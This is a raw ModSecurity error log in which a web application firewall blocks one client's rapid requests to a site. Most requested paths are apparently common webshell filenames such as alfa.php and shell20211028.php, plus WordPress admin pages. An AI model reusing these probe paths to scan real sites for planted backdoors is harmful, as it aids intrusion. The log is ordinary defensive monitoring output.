[Sun Dec 21 22:37:46.596645 2025] [:error] [pid 59068:tid 59117] [client 104.215.59.38:24459] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gfile.php"] [unique_id "aUgGOhmLyLqWUlrjwyewlQAAAFA"]
[Sun Dec 21 22:37:47.578026 2025] [:error] [pid 30183:tid 30194] [client 104.215.59.38:36259] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gfile.php"] [unique_id "aUgGO-CmP2zCzk_WZcUwIwAAAQk"]
[Sun Dec 21 22:37:48.746156 2025] [:error] [pid 59067:tid 59075] [client 104.215.59.38:3238] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gfile.php"] [unique_id "aUgGPMtpsOP1NfIK_qKFYwAAAAE"]
[Sun Dec 21 22:37:49.293649 2025] [:error] [pid 65237:tid 65263] [client 104.215.59.38:3217] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gfile.php"] [unique_id "aUgGPVVJYjxIpnUJfgJhMwAAAZg"]
[Sun Dec 21 22:37:50.317073 2025] [:error] [pid 59068:tid 59103] [client 104.215.59.38:3856] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/build.php"] [unique_id "aUgGPhmLyLqWUlrjwyewmwAAAEI"]
[Sun Dec 21 22:37:52.964919 2025] [:error] [pid 42755:tid 42771] [client 104.215.59.38:33746] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/build.php"] [unique_id "aUgGQOW0XvxgXMTJJbv4LgAAAU4"]
[Sun Dec 21 22:37:59.807156 2025] [:error] [pid 59070:tid 59137] [client 104.215.59.38:27932] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ok.php"] [unique_id "aUgGR33dhXne9KX1kgJwUgAAAIk"]
[Sun Dec 21 22:38:00.308325 2025] [:error] [pid 59070:tid 59130] [client 104.215.59.38:33819] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ok.php"] [unique_id "aUgGSH3dhXne9KX1kgJwUwAAAII"]
[Sun Dec 21 22:38:00.942473 2025] [:error] [pid 59070:tid 59145] [client 104.215.59.38:3857] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ok.php"] [unique_id "aUgGSH3dhXne9KX1kgJwVgAAAJE"]
[Sun Dec 21 22:38:01.637400 2025] [:error] [pid 30183:tid 30208] [client 104.215.59.38:30951] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ok.php"] [unique_id "aUgGSeCmP2zCzk_WZcUwKwAAARc"]
[Sun Dec 21 22:38:02.260701 2025] [:error] [pid 59158:tid 59162] [client 104.215.59.38:37926] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/shell20211028.php"] [unique_id "aUgGSo7NvyNF8ab5VgVmXgAAAMI"]
[Sun Dec 21 22:38:03.281853 2025] [:error] [pid 59158:tid 59172] [client 104.215.59.38:30925] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/shell20211028.php"] [unique_id "aUgGS47NvyNF8ab5VgVmYAAAAMw"]
[Sun Dec 21 22:38:04.772199 2025] [:error] [pid 30183:tid 30197] [client 104.215.59.38:3230] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/shell20211028.php"] [unique_id "aUgGTOCmP2zCzk_WZcUwLgAAAQw"]
[Sun Dec 21 22:38:05.583441 2025] [:error] [pid 59068:tid 59102] [client 104.215.59.38:31514] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/shell20211028.php"] [unique_id "aUgGTRmLyLqWUlrjwyewqAAAAEE"]
[Sun Dec 21 22:38:06.638509 2025] [:error] [pid 65237:tid 65239] [client 104.215.59.38:3201] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/NewFile.php"] [unique_id "aUgGTlVJYjxIpnUJfgJhRAAAAYA"]
[Sun Dec 21 22:38:08.285765 2025] [:error] [pid 59070:tid 59139] [client 104.215.59.38:24484] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/NewFile.php"] [unique_id "aUgGUH3dhXne9KX1kgJwXwAAAIs"]
[Sun Dec 21 22:38:09.548656 2025] [:error] [pid 65237:tid 65243] [client 104.215.59.38:31550] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/NewFile.php"] [unique_id "aUgGUVVJYjxIpnUJfgJhRQAAAYQ"]
[Sun Dec 21 22:38:11.168049 2025] [:error] [pid 59158:tid 59164] [client 104.215.59.38:35459] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/NewFile.php"] [unique_id "aUgGU47NvyNF8ab5VgVmdgAAAMQ"]
[Sun Dec 21 22:38:11.770743 2025] [:error] [pid 59158:tid 59175] [client 104.215.59.38:3235] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/admin.php"] [unique_id "aUgGU47NvyNF8ab5VgVmeQAAAM8"]
[Sun Dec 21 22:38:13.289565 2025] [:error] [pid 59158:tid 59164] [client 104.215.59.38:35493] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/admin.php"] [unique_id "aUgGVY7NvyNF8ab5VgVmgQAAAMQ"]
[Sun Dec 21 22:38:13.806758 2025] [:error] [pid 59068:tid 59112] [client 104.215.59.38:45589] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/admin.php"] [unique_id "aUgGVRmLyLqWUlrjwyewsAAAAEs"]
[Sun Dec 21 22:38:14.553990 2025] [:error] [pid 65237:tid 65244] [client 104.215.59.38:30955] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/admin.php"] [unique_id "aUgGVlVJYjxIpnUJfgJhSQAAAYU"]
[Sun Dec 21 22:38:15.453953 2025] [:error] [pid 59158:tid 59180] [client 104.215.59.38:3277] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index/function.php"] [unique_id "aUgGV47NvyNF8ab5VgVmggAAANQ"]
[Sun Dec 21 22:38:16.625015 2025] [:error] [pid 59158:tid 59183] [client 104.215.59.38:31547] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index/function.php"] [unique_id "aUgGWI7NvyNF8ab5VgVmhgAAANc"]
[Sun Dec 21 22:38:18.221978 2025] [:error] [pid 59068:tid 59107] [client 104.215.59.38:33125] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index/function.php"] [unique_id "aUgGWhmLyLqWUlrjwyewtQAAAEY"]
[Sun Dec 21 22:38:18.714710 2025] [:error] [pid 59068:tid 59103] [client 104.215.59.38:37472] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index/function.php"] [unique_id "aUgGWhmLyLqWUlrjwyewtgAAAEI"]
[Sun Dec 21 22:38:19.587177 2025] [:error] [pid 59068:tid 59105] [client 104.215.59.38:33135] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/about.php"] [unique_id "aUgGWxmLyLqWUlrjwyewuwAAAEQ"]
[Sun Dec 21 22:38:20.503893 2025] [:error] [pid 59158:tid 59178] [client 104.215.59.38:37466] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/about.php"] [unique_id "aUgGXI7NvyNF8ab5VgVmkgAAANI"]
[Sun Dec 21 22:38:22.282084 2025] [:error] [pid 42755:tid 42759] [client 104.215.59.38:27507] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/about.php"] [unique_id "aUgGXuW0XvxgXMTJJbv4TgAAAUI"]
[Sun Dec 21 22:38:23.019964 2025] [:error] [pid 59067:tid 59079] [client 104.215.59.38:51266] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/about.php"] [unique_id "aUgGX8tpsOP1NfIK_qKFbgAAAAU"]
[Sun Dec 21 22:38:23.890508 2025] [:error] [pid 59158:tid 59181] [client 104.215.59.38:30019] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/chosen.php"] [unique_id "aUgGX47NvyNF8ab5VgVmoAAAANU"]
[Sun Dec 21 22:38:24.546231 2025] [:error] [pid 59158:tid 59184] [client 104.215.59.38:35402] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/chosen.php"] [unique_id "aUgGYI7NvyNF8ab5VgVmowAAANg"]
[Sun Dec 21 22:38:27.540243 2025] [:error] [pid 65237:tid 65263] [client 104.215.59.38:3790] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/chosen.php"] [unique_id "aUgGY1VJYjxIpnUJfgJhUwAAAZg"]
[Sun Dec 21 22:38:29.099090 2025] [:error] [pid 59068:tid 59114] [client 104.215.59.38:30023] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/chosen.php"] [unique_id "aUgGZRmLyLqWUlrjwyewvAAAAE0"]
[Sun Dec 21 22:38:30.414099 2025] [:error] [pid 59158:tid 59167] [client 104.215.59.38:30925] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfa.php"] [unique_id "aUgGZo7NvyNF8ab5VgVmrQAAAMc"]
[Sun Dec 21 22:38:31.532837 2025] [:error] [pid 59158:tid 59166] [client 104.215.59.38:37167] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfa.php"] [unique_id "aUgGZ47NvyNF8ab5VgVmsAAAAMY"]
[Sun Dec 21 22:38:32.085485 2025] [:error] [pid 59158:tid 59168] [client 104.215.59.38:24326] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfa.php"] [unique_id "aUgGaI7NvyNF8ab5VgVmsgAAAMg"]
[Sun Dec 21 22:38:32.926011 2025] [:error] [pid 65237:tid 65247] [client 104.215.59.38:29515] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfa.php"] [unique_id "aUgGaFVJYjxIpnUJfgJhWAAAAYg"]
[Sun Dec 21 22:38:34.301704 2025] [:error] [pid 65237:tid 65245] [client 104.215.59.38:3100] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1.php"] [unique_id "aUgGalVJYjxIpnUJfgJhWQAAAYY"]
[Sun Dec 21 22:38:35.305908 2025] [:error] [pid 59070:tid 59141] [client 104.215.59.38:51762] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1.php"] [unique_id "aUgGa33dhXne9KX1kgJwdAAAAI0"]
[Sun Dec 21 22:38:35.979731 2025] [:error] [pid 65237:tid 65241] [client 104.215.59.38:27490] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1.php"] [unique_id "aUgGa1VJYjxIpnUJfgJhWwAAAYI"]
[Sun Dec 21 22:38:37.948805 2025] [:error] [pid 59158:tid 59180] [client 104.215.59.38:40335] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1.php"] [unique_id "aUgGbY7NvyNF8ab5VgVmvgAAANQ"]
[Sun Dec 21 22:38:39.414204 2025] [:error] [pid 59158:tid 59174] [client 104.215.59.38:22411] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lock6.php"] [unique_id "aUgGb47NvyNF8ab5VgVmwwAAAM4"]
[Sun Dec 21 22:38:40.312151 2025] [:error] [pid 59068:tid 59106] [client 104.215.59.38:3159] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lock6.php"] [unique_id "aUgGcBmLyLqWUlrjwyewwAAAAEU"]
[Sun Dec 21 22:38:41.450801 2025] [:error] [pid 65237:tid 65256] [client 104.215.59.38:22039] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lock6.php"] [unique_id "aUgGcVVJYjxIpnUJfgJhYwAAAZE"]
[Sun Dec 21 22:38:41.997735 2025] [:error] [pid 59070:tid 59146] [client 104.215.59.38:22421] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lock6.php"] [unique_id "aUgGcX3dhXne9KX1kgJwfgAAAJI"]
[Sun Dec 21 22:38:42.446487 2025] [:error] [pid 59158:tid 59175] [client 104.215.59.38:28530] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/past.php"] [unique_id "aUgGco7NvyNF8ab5VgVmxgAAAM8"]
[Sun Dec 21 22:38:43.093447 2025] [:error] [pid 30183:tid 30197] [client 104.215.59.38:29533] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/past.php"] [unique_id "aUgGc-CmP2zCzk_WZcUwSQAAAQw"]
[Sun Dec 21 22:38:44.706740 2025] [:error] [pid 59068:tid 59122] [client 104.215.59.38:37131] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/past.php"] [unique_id "aUgGdBmLyLqWUlrjwyewxQAAAFU"]
[Sun Dec 21 22:38:45.836110 2025] [:error] [pid 59070:tid 59132] [client 104.215.59.38:29537] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/past.php"] [unique_id "aUgGdX3dhXne9KX1kgJwgQAAAIQ"]
[Sun Dec 21 22:38:46.645197 2025] [:error] [pid 59070:tid 59147] [client 104.215.59.38:51724] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/post.php"] [unique_id "aUgGdn3dhXne9KX1kgJwggAAAJM"]
[Sun Dec 21 22:38:48.206122 2025] [:error] [pid 59067:tid 59078] [client 104.215.59.38:22405] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/post.php"] [unique_id "aUgGeMtpsOP1NfIK_qKFewAAAAQ"]
[Sun Dec 21 22:38:49.513372 2025] [:error] [pid 59070:tid 59137] [client 104.215.59.38:22413] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/post.php"] [unique_id "aUgGeX3dhXne9KX1kgJwgwAAAIk"]
[Sun Dec 21 22:38:50.338894 2025] [:error] [pid 59070:tid 59130] [client 104.215.59.38:3107] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/post.php"] [unique_id "aUgGen3dhXne9KX1kgJwhQAAAII"]
[Sun Dec 21 22:38:51.287834 2025] [:error] [pid 65237:tid 65260] [client 104.215.59.38:24210] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/config.php"] [unique_id "aUgGe1VJYjxIpnUJfgJhaAAAAZU"]
[Sun Dec 21 22:38:52.528455 2025] [:error] [pid 59070:tid 59135] [client 104.215.59.38:37172] [client 104.215.59.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/config.php"] [unique_id "aUgGfH3dhXne9KX1kgJwhwAAAIc"]
